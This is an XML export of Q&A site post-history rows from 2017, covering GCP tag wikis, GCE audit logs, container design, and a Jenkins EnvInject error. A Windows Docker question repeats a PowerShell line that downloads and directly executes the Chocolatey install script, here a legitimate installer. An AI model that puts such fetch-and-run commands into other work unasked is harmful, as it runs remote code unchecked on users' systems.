  <row Id="6732" PostHistoryTypeId="1" PostId="2149" RevisionGUID="a67d5eea-ead2-40db-af76-78c394a2ce50" CreationDate="2017-09-26T15:10:16.087" UserId="4403" Text="How to know which user created the GCE Instance" ContentLicense="CC BY-SA 3.0" />
  <row Id="6733" PostHistoryTypeId="3" PostId="2149" RevisionGUID="a67d5eea-ead2-40db-af76-78c394a2ce50" CreationDate="2017-09-26T15:10:16.087" UserId="4403" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6734" PostHistoryTypeId="6" PostId="2149" RevisionGUID="f50fcc6c-b5ae-4869-83d2-6d2c3d19af8d" CreationDate="2017-09-26T15:15:06.257" UserId="47" Comment="edited tags" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6735" PostHistoryTypeId="5" PostId="2135" RevisionGUID="c3d32b03-586a-44df-867d-2532763c6854" CreationDate="2017-09-26T15:22:26.680" UserId="210" Comment="added 146 characters in body" Text="Use this tag if the question is about  monorepos, i.e. a git repository that contains multiple projects instead of one git repo for every project." ContentLicense="CC BY-SA 3.0" />
  <row Id="6736" PostHistoryTypeId="24" PostId="2135" RevisionGUID="c3d32b03-586a-44df-867d-2532763c6854" CreationDate="2017-09-26T15:22:26.680" Comment="Proposed by 210 approved by 40, 13 edit id of 449" ContentLicense="CC BY-SA 3.0" />
  <row Id="6737" PostHistoryTypeId="5" PostId="2145" RevisionGUID="dbd09519-ef39-4de3-a507-bc7aebe65ddf" CreationDate="2017-09-26T15:22:32.320" UserId="210" Comment="added 56 characters in body" Text="To describe questions that are about Jenkins' blueocean." ContentLicense="CC BY-SA 3.0" />
  <row Id="6738" PostHistoryTypeId="24" PostId="2145" RevisionGUID="dbd09519-ef39-4de3-a507-bc7aebe65ddf" CreationDate="2017-09-26T15:22:32.320" Comment="Proposed by 210 approved by 13 edit id of 451" ContentLicense="CC BY-SA 3.0" />
  <row Id="6739" PostHistoryTypeId="2" PostId="2150" RevisionGUID="0ed0e0ea-49c0-4d27-8c8e-2be4efa62986" CreationDate="2017-09-26T15:36:50.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6740" PostHistoryTypeId="1" PostId="2150" RevisionGUID="0ed0e0ea-49c0-4d27-8c8e-2be4efa62986" CreationDate="2017-09-26T15:36:50.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6741" PostHistoryTypeId="2" PostId="2151" RevisionGUID="b4a88dee-0781-4d26-b4f0-ec7bfd00582b" CreationDate="2017-09-26T15:36:50.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6742" PostHistoryTypeId="1" PostId="2151" RevisionGUID="b4a88dee-0781-4d26-b4f0-ec7bfd00582b" CreationDate="2017-09-26T15:36:50.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6743" PostHistoryTypeId="2" PostId="2152" RevisionGUID="43d752ab-c8bf-44c7-af0b-748f12ed2458" CreationDate="2017-09-26T15:42:15.497" UserId="4436" Text="We are just about to move from a monolithic architecture to an auto-scaled group and I'm not sure how I should be running my database migrations (Laravel).&#xD;&#xA;&#xD;&#xA;I am thinking that a script will run when a new box comes online, this will git pull my latest code down. Should this script also execute my database migration? I am not sure how I can get it run on only one box?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Mick" ContentLicense="CC BY-SA 3.0" />
  <row Id="6744" PostHistoryTypeId="1" PostId="2152" RevisionGUID="43d752ab-c8bf-44c7-af0b-748f12ed2458" CreationDate="2017-09-26T15:42:15.497" UserId="4436" Text="How to run database migrations in an auto-scaled group" ContentLicense="CC BY-SA 3.0" />
  <row Id="6745" PostHistoryTypeId="3" PostId="2152" RevisionGUID="43d752ab-c8bf-44c7-af0b-748f12ed2458" CreationDate="2017-09-26T15:42:15.497" UserId="4436" Text="&lt;amazon-web-services&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6746" PostHistoryTypeId="2" PostId="2153" RevisionGUID="58bb52a2-f45b-4265-86a8-22e3bcd4b242" CreationDate="2017-09-26T15:42:28.693" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6747" PostHistoryTypeId="1" PostId="2153" RevisionGUID="58bb52a2-f45b-4265-86a8-22e3bcd4b242" CreationDate="2017-09-26T15:42:28.693" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6748" PostHistoryTypeId="2" PostId="2154" RevisionGUID="94339a83-350b-4844-9a9b-c68b33562174" CreationDate="2017-09-26T15:42:28.693" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6749" PostHistoryTypeId="1" PostId="2154" RevisionGUID="94339a83-350b-4844-9a9b-c68b33562174" CreationDate="2017-09-26T15:42:28.693" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6750" PostHistoryTypeId="2" PostId="2155" RevisionGUID="68dfe00d-5b47-46a7-87ba-2059ff556d25" CreationDate="2017-09-26T15:47:20.917" UserId="91" Text="xpost from https://forums.docker.com/t/cannot-connect-to-chocolatey-org/38745&#xD;&#xA;&#xD;&#xA;### Expected behavior&#xD;&#xA;&#xD;&#xA;I'm running Windows Server 2016 Datacenter (MSDN download) 64 bit - Version 1607 - Build 14393.1715&#xD;&#xA;&#xD;&#xA;I'm using Docker For Windows and running Windows Containers.&#xD;&#xA;&#xD;&#xA;I figure this is the easiest thing in the world, to do this:&#xD;&#xA;&#xD;&#xA;    reboot my host machine&#xD;&#xA;    docker run -it microsoft/windowsservercore&#xD;&#xA;    powershell&#xD;&#xA;    iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'));&#xD;&#xA;&#xD;&#xA;The expectation is for this to install chocolatey in the container. &#xD;&#xA;&#xD;&#xA;*I'm actually going to be doing this in a dockerfile, but I'm going for minimum working example to get help right now.*&#xD;&#xA;&#xD;&#xA;Here's an actual docker file that fails (it's not so creative, sadly)&#xD;&#xA;&#xD;&#xA;    FROM microsoft/windowsservercore&#xD;&#xA;    &#xD;&#xA;    SHELL [&quot;Powershell&quot;]&#xD;&#xA;    &#xD;&#xA;    ENV ChocolateyUseWindowsCompression false;&#xD;&#xA;    RUN iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'));&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Actual behavior&#xD;&#xA;&#xD;&#xA;First things first: I'm running this in a Virtualbox VM. Everything else that I want to work works, including but not limited to: internal network connectivity and tests, sql server running, WCF services running against my docker-compose environment, data coming back correctly. All of the things I expect the system to do are working. This is the last-step, fingers crossed :D. The fact that I'm running this in VirtualBox shouldn't matter, since the Hyper-V is working and all my machines are working as expected. I just figure it's worth mentioning.&#xD;&#xA;&#xD;&#xA;    docker run -it microsoft/windowsservercore&#xD;&#xA;    powershell&#xD;&#xA;    PS C:\&gt; iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))&#xD;&#xA;    Exception calling &quot;DownloadString&quot; with &quot;1&quot; argument(s): &quot;The remote name could not be resolved: 'chocolatey.org'&quot;&#xD;&#xA;    At line:1 char:1&#xD;&#xA;    + iex ((new-object net.webclient).DownloadString('https://chocolatey.or ...&#xD;&#xA;    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xD;&#xA;        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException&#xD;&#xA;        + FullyQualifiedErrorId : WebException&#xD;&#xA;    &#xD;&#xA;    PS C:\&gt; ipconfig /all&#xD;&#xA;    &#xD;&#xA;    Windows IP Configuration&#xD;&#xA;    &#xD;&#xA;       Host Name . . . . . . . . . . . . : 339189e8dd56&#xD;&#xA;       Primary Dns Suffix  . . . . . . . :&#xD;&#xA;       Node Type . . . . . . . . . . . . : Hybrid&#xD;&#xA;       IP Routing Enabled. . . . . . . . : No&#xD;&#xA;       WINS Proxy Enabled. . . . . . . . : No&#xD;&#xA;       DNS Suffix Search List. . . . . . : attlocal.net&#xD;&#xA;    &#xD;&#xA;    Ethernet adapter vEthernet (Container NIC 6412b757):&#xD;&#xA;    &#xD;&#xA;       Connection-specific DNS Suffix  . : attlocal.net&#xD;&#xA;       Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #4&#xD;&#xA;       Physical Address. . . . . . . . . : 00-15-5D-80-E9-2C&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : No&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;       Link-local IPv6 Address . . . . . : fe80::a51b:820e:e45d:fab6%29(Preferred)&#xD;&#xA;       IPv4 Address. . . . . . . . . . . : 172.22.202.147(Preferred)&#xD;&#xA;       Subnet Mask . . . . . . . . . . . : 255.255.240.0&#xD;&#xA;       Default Gateway . . . . . . . . . : 172.22.192.1&#xD;&#xA;       DNS Servers . . . . . . . . . . . : 172.22.192.1&#xD;&#xA;                                           10.0.2.2&#xD;&#xA;       NetBIOS over Tcpip. . . . . . . . : Disabled&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From my host OS (Server 2016) I have this information:&#xD;&#xA;&#xD;&#xA;    PS C:\docker&gt; ipconfig /all&#xD;&#xA;    &#xD;&#xA;    Windows IP Configuration&#xD;&#xA;    &#xD;&#xA;       Host Name . . . . . . . . . . . . : WIN-CDPNLUMSTOE&#xD;&#xA;       Primary Dns Suffix  . . . . . . . :&#xD;&#xA;       Node Type . . . . . . . . . . . . : Hybrid&#xD;&#xA;       IP Routing Enabled. . . . . . . . : No&#xD;&#xA;       WINS Proxy Enabled. . . . . . . . : No&#xD;&#xA;       DNS Suffix Search List. . . . . . : attlocal.net&#xD;&#xA;    &#xD;&#xA;    Ethernet adapter vEthernet (HNS Internal NIC) 2:&#xD;&#xA;    &#xD;&#xA;       Connection-specific DNS Suffix  . :&#xD;&#xA;       Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #2&#xD;&#xA;       Physical Address. . . . . . . . . : 00-15-5D-80-E5-17&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : Yes&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;       Link-local IPv6 Address . . . . . : fe80::5939:52e7:aaf3:5b70%9(Preferred)&#xD;&#xA;       IPv4 Address. . . . . . . . . . . : 172.22.192.1(Preferred)&#xD;&#xA;       Subnet Mask . . . . . . . . . . . : 255.255.240.0&#xD;&#xA;       Default Gateway . . . . . . . . . :&#xD;&#xA;       DHCPv6 IAID . . . . . . . . . . . : 301995357&#xD;&#xA;       DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-21-4E-0C-48-08-00-27-51-5F-6A&#xD;&#xA;       DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1&#xD;&#xA;                                           fec0:0:0:ffff::2%1&#xD;&#xA;                                           fec0:0:0:ffff::3%1&#xD;&#xA;       NetBIOS over Tcpip. . . . . . . . : Enabled&#xD;&#xA;    &#xD;&#xA;    Ethernet adapter vEthernet (HNS Internal NIC) 3:&#xD;&#xA;    &#xD;&#xA;       Connection-specific DNS Suffix  . :&#xD;&#xA;       Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #3&#xD;&#xA;       Physical Address. . . . . . . . . : 00-15-5D-B6-45-8D&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : Yes&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;       Link-local IPv6 Address . . . . . : fe80::1de4:bff7:36fb:ee92%13(Preferred)&#xD;&#xA;       IPv4 Address. . . . . . . . . . . : 172.23.128.1(Preferred)&#xD;&#xA;       Subnet Mask . . . . . . . . . . . : 255.255.240.0&#xD;&#xA;       Default Gateway . . . . . . . . . :&#xD;&#xA;       DHCPv6 IAID . . . . . . . . . . . : 570430813&#xD;&#xA;       DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-21-4E-0C-48-08-00-27-51-5F-6A&#xD;&#xA;       DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1&#xD;&#xA;                                           fec0:0:0:ffff::2%1&#xD;&#xA;                                           fec0:0:0:ffff::3%1&#xD;&#xA;       NetBIOS over Tcpip. . . . . . . . : Enabled&#xD;&#xA;    &#xD;&#xA;    Ethernet adapter Ethernet:&#xD;&#xA;    &#xD;&#xA;       Connection-specific DNS Suffix  . : attlocal.net&#xD;&#xA;       Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter&#xD;&#xA;       Physical Address. . . . . . . . . : 08-00-27-51-5F-6A&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : Yes&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;       Link-local IPv6 Address . . . . . : fe80::10de:923b:b866:221d%4(Preferred)&#xD;&#xA;       IPv4 Address. . . . . . . . . . . : 10.0.2.15(Preferred)&#xD;&#xA;       Subnet Mask . . . . . . . . . . . : 255.255.255.0&#xD;&#xA;       Lease Obtained. . . . . . . . . . : Friday, August 19, 1881 6:47:42 PM&#xD;&#xA;       Lease Expires . . . . . . . . . . : Tuesday, September 26, 2017 11:15:59 PM&#xD;&#xA;       Default Gateway . . . . . . . . . : 10.0.2.2&#xD;&#xA;       DHCP Server . . . . . . . . . . . : 10.0.2.2&#xD;&#xA;       DHCPv6 IAID . . . . . . . . . . . : 50855975&#xD;&#xA;       DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-21-4E-0C-48-08-00-27-51-5F-6A&#xD;&#xA;       DNS Servers . . . . . . . . . . . : 10.0.2.2&#xD;&#xA;       NetBIOS over Tcpip. . . . . . . . : Enabled&#xD;&#xA;    &#xD;&#xA;    Tunnel adapter isatap.{C420BD56-5715-49BF-9382-5EA99AA48563}:&#xD;&#xA;    &#xD;&#xA;       Media State . . . . . . . . . . . : Media disconnected&#xD;&#xA;       Connection-specific DNS Suffix  . :&#xD;&#xA;       Description . . . . . . . . . . . : Microsoft ISATAP Adapter #5&#xD;&#xA;       Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : No&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;    &#xD;&#xA;    Tunnel adapter isatap.{70EA4F39-FE0F-4040-B718-ACAC00765808}:&#xD;&#xA;    &#xD;&#xA;       Media State . . . . . . . . . . . : Media disconnected&#xD;&#xA;       Connection-specific DNS Suffix  . :&#xD;&#xA;       Description . . . . . . . . . . . : Microsoft ISATAP Adapter #6&#xD;&#xA;       Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : No&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;    &#xD;&#xA;    Tunnel adapter isatap.attlocal.net:&#xD;&#xA;    &#xD;&#xA;       Media State . . . . . . . . . . . : Media disconnected&#xD;&#xA;       Connection-specific DNS Suffix  . : attlocal.net&#xD;&#xA;       Description . . . . . . . . . . . : Microsoft ISATAP Adapter #7&#xD;&#xA;       Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0&#xD;&#xA;       DHCP Enabled. . . . . . . . . . . : No&#xD;&#xA;       Autoconfiguration Enabled . . . . : Yes&#xD;&#xA;    PS C:\docker&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Information&#xD;&#xA;&#xD;&#xA;DockerDebugInfo.ps1 output: https://gist.github.com/jcolebrand/170673e45bf8a659552f22f2071c30d6&#xD;&#xA;&#xD;&#xA;### System information&#xD;&#xA;    &#xD;&#xA;Running Windows Server Datacenter (MSDN download) 64 bit - Version 1607 - Build 14393.1715&#xD;&#xA;&#xD;&#xA;    PS C:\docker&gt; docker version&#xD;&#xA;    Client:&#xD;&#xA;     Version:      17.06.2-ce&#xD;&#xA;     API version:  1.30&#xD;&#xA;     Go version:   go1.8.3&#xD;&#xA;     Git commit:   cec0b72&#xD;&#xA;     Built:        Tue Sep  5 19:57:19 2017&#xD;&#xA;     OS/Arch:      windows/amd64&#xD;&#xA;    &#xD;&#xA;    Server:&#xD;&#xA;     Version:      17.06.2-ce&#xD;&#xA;     API version:  1.30 (minimum version 1.24)&#xD;&#xA;     Go version:   go1.8.3&#xD;&#xA;     Git commit:   cec0b72&#xD;&#xA;     Built:        Tue Sep  5 19:59:47 2017&#xD;&#xA;     OS/Arch:      windows/amd64&#xD;&#xA;     Experimental: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*If, for any forsaken reason this is important, the host OS does need to be activated. I'm doing this in a one-shot dev environment so wasn't particularly worried about activating the VM just yet. I can't fathom how this is important. Especially since everything else &quot;just works&quot;.*" ContentLicense="CC BY-SA 3.0" />
  <row Id="6751" PostHistoryTypeId="1" PostId="2155" RevisionGUID="68dfe00d-5b47-46a7-87ba-2059ff556d25" CreationDate="2017-09-26T15:47:20.917" UserId="91" Text="Cannot connect to chocolatey.org" ContentLicense="CC BY-SA 3.0" />
  <row Id="6752" PostHistoryTypeId="3" PostId="2155" RevisionGUID="68dfe00d-5b47-46a7-87ba-2059ff556d25" CreationDate="2017-09-26T15:47:20.917" UserId="91" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6753" PostHistoryTypeId="2" PostId="2156" RevisionGUID="fbc291ed-74de-4cf4-84a3-f0d93fabe828" CreationDate="2017-09-26T15:50:38.397" UserId="47" Text="Note: I'm not a GCE user yet, the answer is based solely on documentation.&#xD;&#xA;&#xD;&#xA;You could be [Viewing Audit Logs][1] in the `Google Cloud Console`, more specifically the [Admin Activity logs][2]:&#xD;&#xA;&#xD;&#xA;&gt; Admin Activity logs contain log entries for API calls or other&#xD;&#xA;&gt; administrative actions that modify the configuration or metadata of&#xD;&#xA;&gt; resources. For example, the logs record when VM instances and App&#xD;&#xA;&gt; Engine applications are created and when permissions are changed. To&#xD;&#xA;&gt; view the logs, you must have the IAM roles **Logging/Logs Viewer** or&#xD;&#xA;&gt; **Project/Viewer**.&#xD;&#xA;&#xD;&#xA;You would be looking for the [User identities in audit logs][3]:&#xD;&#xA;&#xD;&#xA;&gt; Audit logs record the identity of the user performing logged actions.&#xD;&#xA;&gt; The identity is held in the `AuthenticationInfo` field of [AuditLog][4]&#xD;&#xA;&gt; objects.&#xD;&#xA;&#xD;&#xA;Ideally you'd be looking for the GCE instance creation events, but some/all of those may be too old for the logs retention policy. Then maybe search for VM instance start or other relevant events.&#xD;&#xA;&#xD;&#xA;You could also check and maybe cross-reference the audit logs info with that from [Usage Reports][5] or [exported billing info][6].&#xD;&#xA;&#xD;&#xA;If this is a regular, on-going activity you may want to setup an automated [log exporting][7] and processing pipeline.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/audit-logging&#xD;&#xA;  [2]: https://cloud.google.com/logging/docs/audit/#admin-activity&#xD;&#xA;  [3]: https://cloud.google.com/logging/docs/audit/#user_identities_in_audit_logs&#xD;&#xA;  [4]: https://cloud.google.com/logging/docs/audit/api/ref/rest/Shared.Types/AuditLog&#xD;&#xA;  [5]: https://cloud.google.com/compute/docs/usage-export&#xD;&#xA;  [6]: https://support.google.com/cloud/answer/4524336&#xD;&#xA;  [7]: https://cloud.google.com/logging/docs/export/using_exported_logs" ContentLicense="CC BY-SA 3.0" />
  <row Id="6754" PostHistoryTypeId="5" PostId="2151" RevisionGUID="bc17bf76-9638-498f-97ed-0a858313540b" CreationDate="2017-09-26T16:02:19.933" UserId="4403" Comment="added 60 characters in body" Text="Google Cloud Platform (GCP) is the cloud offering by Google." ContentLicense="CC BY-SA 3.0" />
  <row Id="6755" PostHistoryTypeId="24" PostId="2151" RevisionGUID="bc17bf76-9638-498f-97ed-0a858313540b" CreationDate="2017-09-26T16:02:19.933" Comment="Proposed by 4403 approved by 46 edit id of 453" ContentLicense="CC BY-SA 3.0" />
  <row Id="6756" PostHistoryTypeId="4" PostId="2155" RevisionGUID="1d61638f-aa60-48f9-9370-8bfbb80c948d" CreationDate="2017-09-26T16:13:07.083" UserId="91" Comment="edited title" Text="Cannot connect to chocolatey.org or any other internet site from within container" ContentLicense="CC BY-SA 3.0" />
  <row Id="6757" PostHistoryTypeId="5" PostId="2153" RevisionGUID="33ee0c4f-725b-46cb-80e8-5bff556902ff" CreationDate="2017-09-26T16:47:31.720" UserId="4403" Comment="added 431 characters in body" Text="**Google Compute Engine (GCE)** is Google's offering for Infrastructure-as-a-Service(IaaS) model. Each GCE instance is a VM which can be customised as per need. These instances can be created programmatically and can be autoscaled horizontally.  &#xD;&#xA;&#xD;&#xA;Although GCE can run Docker containers too, GCP recommends their managed Kubernetes service for Docker cluster management known as **Google Container Engine (GKE)**, instead of GCE." ContentLicense="CC BY-SA 3.0" />
  <row Id="6758" PostHistoryTypeId="24" PostId="2153" RevisionGUID="33ee0c4f-725b-46cb-80e8-5bff556902ff" CreationDate="2017-09-26T16:47:31.720" Comment="Proposed by 4403 approved by 47, 40 edit id of 454" ContentLicense="CC BY-SA 3.0" />
  <row Id="6759" PostHistoryTypeId="5" PostId="2154" RevisionGUID="9945a185-064e-4e3f-8287-3aa4dddc6d7b" CreationDate="2017-09-26T16:47:37.973" UserId="4403" Comment="added 93 characters in body" Text="Google Compute Engine (GCE) is Google's offering for Infrastructure-as-a-Service(IaaS) model." ContentLicense="CC BY-SA 3.0" />
  <row Id="6760" PostHistoryTypeId="24" PostId="2154" RevisionGUID="9945a185-064e-4e3f-8287-3aa4dddc6d7b" CreationDate="2017-09-26T16:47:37.973" Comment="Proposed by 4403 approved by 47, 40 edit id of 455" ContentLicense="CC BY-SA 3.0" />
  <row Id="6761" PostHistoryTypeId="5" PostId="2150" RevisionGUID="960dca74-8e56-4117-a2fc-f906e0ded2a5" CreationDate="2017-09-26T16:47:46.173" UserId="4403" Comment="added 544 characters in body" Text="Google Cloud Platform (GCP) is the cloud offering by Google. Google Compute Engine (GCE) and Google App Engine (GAE) are there most popular products on GCP. &#xD;&#xA;&#xD;&#xA;**Products:**  &#xD;&#xA;&#xD;&#xA; - Compute Engine (GCE)  &#xD;&#xA; - App Engine (GAE)&#xD;&#xA; - Container Engine (GKE)&#xD;&#xA; - Cloud Functions&#xD;&#xA; - Cloud Storage (GCS)&#xD;&#xA; - Cloud SQL&#xD;&#xA; - Cloud Bigtable&#xD;&#xA; - Cloud Spanner&#xD;&#xA; - Cloud Datastore&#xD;&#xA; - BigQuery&#xD;&#xA; - Cloud Dataflow&#xD;&#xA; - Cloud Dataproc&#xD;&#xA; - Cloud Datalab&#xD;&#xA; - Cloud PubSub&#xD;&#xA;&#xD;&#xA;**Useful Links:**   &#xD;&#xA;&#xD;&#xA; - [Official Website][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6762" PostHistoryTypeId="24" PostId="2150" RevisionGUID="960dca74-8e56-4117-a2fc-f906e0ded2a5" CreationDate="2017-09-26T16:47:46.173" Comment="Proposed by 4403 approved by 47, 40 edit id of 452" ContentLicense="CC BY-SA 3.0" />
  <row Id="6764" PostHistoryTypeId="2" PostId="2157" RevisionGUID="fc6a10b1-1550-46c6-94c6-ef6b913db9db" CreationDate="2017-09-26T17:43:09.237" UserId="707" Text="Imagine in your stack you have RESTful services which also provide some rudimentary frontends, mostly for admin/other tech user use.&#xD;&#xA;&#xD;&#xA;Do you include the UI inside the container or are these two containers? Why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6765" PostHistoryTypeId="1" PostId="2157" RevisionGUID="fc6a10b1-1550-46c6-94c6-ef6b913db9db" CreationDate="2017-09-26T17:43:09.237" UserId="707" Text="Service backend/frontend in one or two containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6766" PostHistoryTypeId="3" PostId="2157" RevisionGUID="fc6a10b1-1550-46c6-94c6-ef6b913db9db" CreationDate="2017-09-26T17:43:09.237" UserId="707" Text="&lt;docker&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6767" PostHistoryTypeId="2" PostId="2158" RevisionGUID="7b95faea-1413-42e3-b247-e56da8382092" CreationDate="2017-09-26T18:42:22.920" UserId="4328" Text="Are they separate projects (from a logical or technical perspective)? Would one ever need to be updated/recreated independently of the other one? Would they need to scale independently of each other? I think if any of those answers is a yes, then they should be separated. If not, you should be fine bundling them together. Bundling them together will reduce discrepancy or compatibility issues between the two containers." ContentLicense="CC BY-SA 3.0" />
  <row Id="6768" PostHistoryTypeId="4" PostId="1883" RevisionGUID="54eae8f9-1a27-4e96-8baf-19cc676082ed" CreationDate="2017-09-26T18:45:36.117" UserId="3" Comment="edited title" Text="Logging the source of remote file when using array using Chef" ContentLicense="CC BY-SA 3.0" />
  <row Id="6769" PostHistoryTypeId="2" PostId="2159" RevisionGUID="34a79b98-adff-4c74-ba8a-cfe8c83d5801" CreationDate="2017-09-26T19:01:19.823" UserId="3" Text="I've the following error in Jenkins console when running job which uses Windows slave:&#xD;&#xA;&#xD;&#xA;    Started by user &#xD;&#xA;      [EnvInject] - Loading node environment variables.&#xD;&#xA;     ERROR: SEVERE ERROR occurs&#xD;&#xA;     org.jenkinsci.lib.envinject.EnvInjectException: java.io.IOException: remote file operation failed: C:\Program Files\Java\jre1.8.0_91 at hudson.remoting.Channel@2f4af34f:Management VPC Slave: Windows (sir-rvhi7z8q): java.io.IOException: Unable to delete 'C:\Program Files\Java\jre1.8.0_91\bin\awt.dll'. Tried 3 times (of a maximum of 3) waiting 0.1 sec between attempts.&#xD;&#xA;     at org.jenkinsci.plugins.envinject.util.RunHelper.getBuildVariables(RunHelper.java:137)&#xD;&#xA;     at org.jenkinsci.plugins.envinject.EnvInjectListener.setUpEnvironmentWithoutJobPropertyObject(EnvInjectListener.java:236)&#xD;&#xA;     at org.jenkinsci.plugins.envinject.EnvInjectListener.setUpEnvironment(EnvInjectListener.java:50)&#xD;&#xA;     at hudson.model.AbstractBuild$AbstractBuildExecution.createLauncher(AbstractBuild.java:534)&#xD;&#xA;     at hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:454)&#xD;&#xA;     at hudson.model.Run.execute(Run.java:1737)&#xD;&#xA;    ...&#xD;&#xA;     Caused by: java.io.IOException: remote file operation failed: C:\Program Files\Java\jre1.8.0_91 at hudson.remoting.Channel@2f4af34f:Management VPC Slave: Windows (sir-rvhi7z8q): java.io.IOException: Unable to delete 'C:\Program Files\Java\jre1.8.0_91\bin\awt.dll'. Tried 3 times (of a maximum of 3) waiting 0.1 sec between attempts.&#xD;&#xA;     at hudson.FilePath.act(FilePath.java:994)&#xD;&#xA;     at hudson.FilePath.act(FilePath.java:976)&#xD;&#xA;    ...&#xD;&#xA;     Caused by: java.io.IOException: Unable to delete 'C:\Program Files\Java\jre1.8.0_91\bin\awt.dll'. Tried 3 times (of a maximum of 3) waiting 0.1 sec between attempts.&#xD;&#xA;     at hudson.Util.deleteFile(Util.java:250)&#xD;&#xA;     at hudson.FilePath.deleteRecursive(FilePath.java:1211)&#xD;&#xA;    ...&#xD;&#xA;    Caused by: java.nio.file.AccessDeniedException: C:\Program Files\Java\jre1.8.0_91\bin\awt.dll&#xD;&#xA;     at sun.nio.fs.WindowsException.translateToIOException(Unknown Source)&#xD;&#xA;&#xD;&#xA;which stops the job at the very start.&#xD;&#xA;&#xD;&#xA;I've no idea why *EnvInject* plugin would want to remove some Java files (such as `awt.dll`).&#xD;&#xA;&#xD;&#xA;Any idea how to solve this problem?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6770" PostHistoryTypeId="1" PostId="2159" RevisionGUID="34a79b98-adff-4c74-ba8a-cfe8c83d5801" CreationDate="2017-09-26T19:01:19.823" UserId="3" Text="org.jenkinsci.lib.envinject.EnvInjectException: java.io.IOException: remote file operation failed" ContentLicense="CC BY-SA 3.0" />
  <row Id="6771" PostHistoryTypeId="3" PostId="2159" RevisionGUID="34a79b98-adff-4c74-ba8a-cfe8c83d5801" CreationDate="2017-09-26T19:01:19.823" UserId="3" Text="&lt;jenkins&gt;&lt;java&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6772" PostHistoryTypeId="2" PostId="2160" RevisionGUID="ce9d6f9c-56a6-41fe-b355-f17c80d651b6" CreationDate="2017-09-26T19:01:19.823" UserId="3" Text="The *EnvInject* plugin is basically attempting to load the build environment which uses configuration of JDK tools in Jenkins which fails during reinstallation of Java JDK library on the Windows slave (as per given configuration). This JDK configuration can be found in *Global Tool Configuration* (at `/configureTools`) for the given JDK profile which was selected in that job configuration. The installation process failed to reinstall *Java JDK* due to running Java process in the background (such as `java -jar slave.jar`) which was using these *DLL* files. So it sounds like you cannot reinstall the same Java JDK files which are used to run your Jenkins slave process. &#xD;&#xA;&#xD;&#xA;The solution was to disable *Install automatically* option in *Global Tool Configuration*, as Java JDK was already installed on that slave.&#xD;&#xA;&#xD;&#xA;[![Jenkins, Java JDK, Install automatically option][1]][1]&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Related: [JENKINS-46989 - EnvInjectException: remote file operation failed][2].&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ThdWA.png&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-46989" ContentLicense="CC BY-SA 3.0" />
